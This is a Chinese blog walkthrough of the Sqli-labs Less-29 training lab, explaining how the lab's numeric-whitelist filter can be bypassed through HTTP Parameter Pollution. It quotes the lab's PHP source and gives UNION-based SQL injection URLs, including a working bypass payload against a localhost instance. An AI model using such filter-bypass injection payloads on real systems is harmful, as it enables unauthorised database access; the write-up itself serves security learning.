首页 > 数据库技术 > 详细

Sqli-labs Less-29 HPP参数污染攻击

时间:2020-04-09 22:28:58      阅读:106      评论:0      收藏:0      [点我收藏+]

查看源码SQL如下

$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";

尝试进行注入

http://127.0.0.1/sql/Less-29/login.php?id=-1‘ union select 1,database(),3--+

技术分享图片

系统检测到有问题,跳转到其他的页面了。

 

查看源码

首先,有一个whitelist()方法,确保输入变量为数字,如果输入变量中包含非数字的字符,跳转到hacked.php

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input); //这个正则表达式 意思是 匹配 以数字开头的一个或多个数字且以数字结尾的字符串。
    if($match)
    {
        //echo "you are good";
        //return $match;
    }
    else
    {    
        header(‘Location: hacked.php‘);
        //echo "you are bad";
    }
}

然后,我们发现$input就是$id1,$id1来自于java_implimentation($qs)

$qs = $_SERVER[‘QUERY_STRING‘]; //获取查询语句,获取的是URL中?后面的值
$id1=java_implimentation($qs);
$id=$_GET[‘id‘];
whitelist($id1);

接着,查看java_implimentation()方法,发现这个方法是用来模拟HPP的,意思就是说这个方法存在HPP漏洞我们可以利用。

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
//当受到HPP(HTTP参数污染)的影响时,以下功能可模仿参数的行为。
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s); //根据&分割字符串并打散为数组

    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        if($val=="id")
        {
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "<br>";
            break;
        }
    }
}

因此根据HPP的原理,我们可以构造payload:

http://127.0.0.1/sql/Less-29/login.php?id=1&id=-1‘ union select 1,database(),3--+

技术分享图片

 

Sqli-labs Less-29 HPP参数污染攻击

原文:https://www.cnblogs.com/zhengna/p/12656057.html

(1)
(1)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!